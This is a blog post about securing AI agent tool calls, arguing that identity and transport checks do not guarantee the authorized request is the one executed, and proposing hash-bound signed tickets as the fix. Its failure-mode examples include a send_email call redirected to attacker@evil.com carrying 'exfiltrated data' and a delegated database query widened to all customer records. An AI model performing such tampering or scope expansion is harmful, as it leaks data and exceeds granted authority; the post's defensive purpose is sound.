DEV Community

Cover image for Authorization Is Not Enforcement: Execution Integrity in Agentic Systems
NARENDRA KUMAR NUTALAPATI
NARENDRA KUMAR NUTALAPATI

Posted on

Authorization Is Not Enforcement: Execution Integrity in Agentic Systems

#security #ai #mcp #owasp

Recent work around MCP security (MCPS, ArkForge) is converging on strong guarantees around:

  • Transmission integrity — messages are not modified in transit
  • Identity verification — requesters are authenticated
  • Auditability — actions are logged and attested

These are necessary.

But they don't close a critical gap in agentic systems:

Ensuring that the request authorized is the request executed.

A system can be correct in identity and transport, and still violate authorization.

Most current agent security systems do NOT enforce this invariant.

This post breaks down that gap as execution integrity — and why it becomes the primary enforcement failure mode in multi-agent and distributed systems.

TL;DR

Most systems ensure:

  • Who sent the request (identity) ✅
  • That it wasn't modified in transit (transport) ✅

But they do NOT ensure:

→ the request executed is the one that was authorized

That missing guarantee is execution integrity.

Without it, authorization is advisory — not enforceable.

Example

An agent is authorized to send an email:

send_email(to=alice@example.com, body="quarterly report")
Enter fullscreen mode Exit fullscreen mode

The request is authenticated and transmitted securely.

But before execution, the payload is modified:

send_email(to=attacker@evil.com, body="quarterly report")
Enter fullscreen mode Exit fullscreen mode

Identity checks pass. Transport integrity holds.

But the executed request violates authorization.

The Missing Invariant 

AUTHORIZED_REQUEST  =  EXECUTED_REQUEST
Enter fullscreen mode Exit fullscreen mode

If transmission integrity answers:

"Was the message altered in transit?"

Execution integrity answers:

"Was the approved message the one that ran?"

A system can be fully authenticated, fully encrypted, fully logged — and still execute an unauthorized action.

The Problem

In most current agent security systems:

  • Identity is verified ✅
  • Messages are signed or encrypted ✅
  • Logs are recorded ✅

And still:

→ the executed request can differ from what was authorized

This happens because authorization and execution are separated — by time, by component, by trust boundary.

A system can be fully authenticated, fully encrypted, fully logged — and still execute an unauthorized action.

Four Integrity Layers in Agentic Systems

Image

There are four distinct integrity layers. Most systems implement the first two. Almost none implement the third.

Layer 1: Transmission Integrity

Invariant:

request_sent = request_received
Enter fullscreen mode Exit fullscreen mode

The request is not modified between sender and receiver. TLS provides this at the transport level. Signed message envelopes (MCPS uses ECDSA P-256 over canonical JSON) provide it at the application level.

What it guarantees: the message was not tampered with in transit.
What it does NOT guarantee: the message was the one that was authorized.

Layer 2: Proxy-Atomic Execution

Invariant:

request_received = request_hashed = request_forwarded
Enter fullscreen mode Exit fullscreen mode

Policy enforcement and tool forwarding are co-located at a single boundary. The proxy receives, evaluates, and forwards the same in-memory object. No serialization round-trip. No temporal gap.

Systems like ArkForge implement this model. The proxy computes SHA-256 over the canonical request, chains it with the response hash, and submits the proof to a transparency log.

Limitation: assumes a single trust boundary. Breaks in multi-agent, delegated, or async architectures.

Layer 3: Execution Integrity ← THE MISSING LAYER

Invariant:

request_authorized = request_executed
Enter fullscreen mode Exit fullscreen mode

This ensures that approved requests are what actually run. It becomes necessary when approval and execution happen at different points in the system:

  • Multi-agent systems where one agent authorizes and another executes
  • Delegation chains where permissions flow across boundaries
  • Async dispatch where authorized requests sit on queues before execution
  • Separated policy and execution layers in microservice architectures

Current architectures do not enforce this invariant.

One mechanism that does: a signed execution ticket embeds a SHA-256 hash of the canonicalized request at authorization time. The tool proxy independently recomputes the hash at execution time. If even a single parameter changes, the hashes diverge and execution is denied.

This model is implemented in LICITRA-SENTRY (open source).

Layer 4: Intent Integrity (Open Problem)

Whether the authorization decision itself was correct. Even if the authorized request is faithfully executed, the authorization may have resulted from goal hijacking (ASI01), identity confusion (ASI03), or manipulated inter-agent communication (ASI07).

This is an alignment problem, not a runtime enforcement problem. Not solved by any of the three layers above.

Intent integrity is orthogonal to runtime enforcement. Even if intent integrity remains unsolved, execution integrity is still required to ensure that authorized decisions are faithfully enforced.

The Authorization–Execution Gap

Image

The gap exists whenever authorization and execution are separated:

Phase What happens What can go wrong
Authorization Policy evaluated, identity verified, request approved (correct)
THE GAP Request travels to execution boundary Payload mutation, delegation drift, queue tampering
Execution Tool invoked with presented payload Payload may differ from what was authorized

Without execution binding, the gap is invisible to the enforcement layer.

Three Failure Modes (Real, Not Theoretical)

Image

All three pass identity and transmission checks. All three violate authorization semantics.

Failure Mode 1: Payload Mutation After Authorization 

Authorized:  send_email(to=alice@example.com, body="quarterly report")
Modified:    send_email(to=attacker@evil.com, body="exfiltrated data")
Enter fullscreen mode Exit fullscreen mode
  • Identity: ✅ valid credentials
  • Transport: ✅ message intact in transit
  • Execution: ❌ tool executes unauthorized request

Failure Mode 2: Delegated Execution Drift 

Agent A: authorized for db_read(query="SELECT summary FROM reports")
Agent B: executes  db_read(query="SELECT * FROM customers")
Enter fullscreen mode Exit fullscreen mode
  • Identity: ✅ valid delegation chain
  • Transport: ✅ message intact
  • Execution: ❌ executed request exceeds authorized scope

Failure Mode 3: Async Queue Tampering 

Authorized request → placed on queue → payload modified → worker executes
Enter fullscreen mode Exit fullscreen mode
  • Identity: ✅ worker has valid credentials
  • Transport: ✅ message format correct
  • Execution: ❌ executed request differs from authorized request

Comparison of Enforcement Models

These systems are not competing approaches — they enforce integrity at different boundaries. MCPS operates at the transport layer, ArkForge at the proxy boundary, and authorization-bound execution at the authorization–execution boundary. Real-world agentic architectures may require all three.

These are complementary, not competing. They enforce different invariants at different boundaries.

Property MCPS ArkForge Auth-Bound Execution
Enforcement boundary Transport layer Certifying proxy Auth service + tool proxy
Identity mechanism ECDSA P-256 passports Agent fingerprint Ed25519 signed ticket
Transmission integrity ✅ Per-message signature ✅ SHA-256 at proxy ✅ Hash in signed ticket
Execution binding ❌ Not addressed ⚠️ Only if co-located ✅ Proxy recomputes hash
Audit mechanism SIEM callbacks Transparency log MMR ledger + witness receipts
Guarantees authorized = executed ❌ No ⚠️ Only if single boundary ✅ Yes — enforced at runtime

The bottom row exposes the gap.

What Actually Fixes This

Authorization-bound execution:

  1. At authorization time: compute SHA-256(canonical(request)) using a deterministic, stable canonicalization (e.g., RFC 8785 canonical JSON) → embed in signed ticket
  2. Ticket travels with request to the execution boundary
  3. At execution time: proxy recomputes SHA-256(canonical(presented_request))
  4. Compare: match → execute. Mismatch → deny.

This binds: decision → payload → execution

Any modification — changing a recipient, altering an amount, appending a parameter — produces a different hash. Execution is rejected.

Why This Matters

A system can be:

  • ✅ Fully authenticated
  • ✅ Fully encrypted
  • ✅ Fully logged

…and still execute an unauthorized action.

Without execution integrity, authorization is advisory, not enforceable.

This is not a theoretical concern. It appears whenever:

  • Authorization ≠ execution location
  • Systems are distributed
  • Agents delegate tasks
  • Execution is asynchronous

Which is basically every real agentic system in production.

OWASP Implications

Image

The OWASP Top 10 for Agentic Applications identifies ten risk categories. Execution integrity intersects with at least four:

  • ASI01 (Goal Hijack): execution binding ensures the hijacked request is faithfully recorded and verifiable
  • ASI02 (Tool Misuse): execution integrity ensures the tool receives exactly the authorized parameters
  • ASI03 (Identity Abuse): delegation chains that transform payloads are detected at the execution boundary
  • ASI07 (Inter-Agent Comm.): payload modifications between agents are detectable at the tool boundary

This gap is not explicitly addressed as a control class in the OWASP Agentic Top 10, despite impacting multiple categories.

Systems that claim runtime enforcement but do not bind authorization to execution should explicitly state this limitation. Otherwise, they provide a false sense of enforcement — the appearance of governance without the guarantee.

Context

This post emerged from a technical discussion on OWASP Issue #802 with contributions from @razashariff (MCPS) and @ArkForge (Trust Layer). Three independent implementations arriving at cryptographic verification at the tool boundary suggests this is becoming a fundamental architectural pattern.

References:

The Bottom Line

If your system does not guarantee:

AUTHORIZED_REQUEST  =  EXECUTED_REQUEST
Enter fullscreen mode Exit fullscreen mode

then your approval layer is not enforcing anything — it is only evaluating.

Would you accept a system in production where authorization can be bypassed without detection?

Execution integrity should be treated as a distinct control class in agentic security architectures. It fits alongside transmission integrity and proxy enforcement as a necessary layer for enforcing authorization semantics in distributed systems.

Top comments (1)

Collapse
 
narendrakumarnutalapati profile image
NARENDRA KUMAR NUTALAPATI •

One edge case worth watching: execution drift across async queues, where the payload sits between approval and execution.

That gap becomes invisible unless the authorization-time payload is bound to the execution-time payload.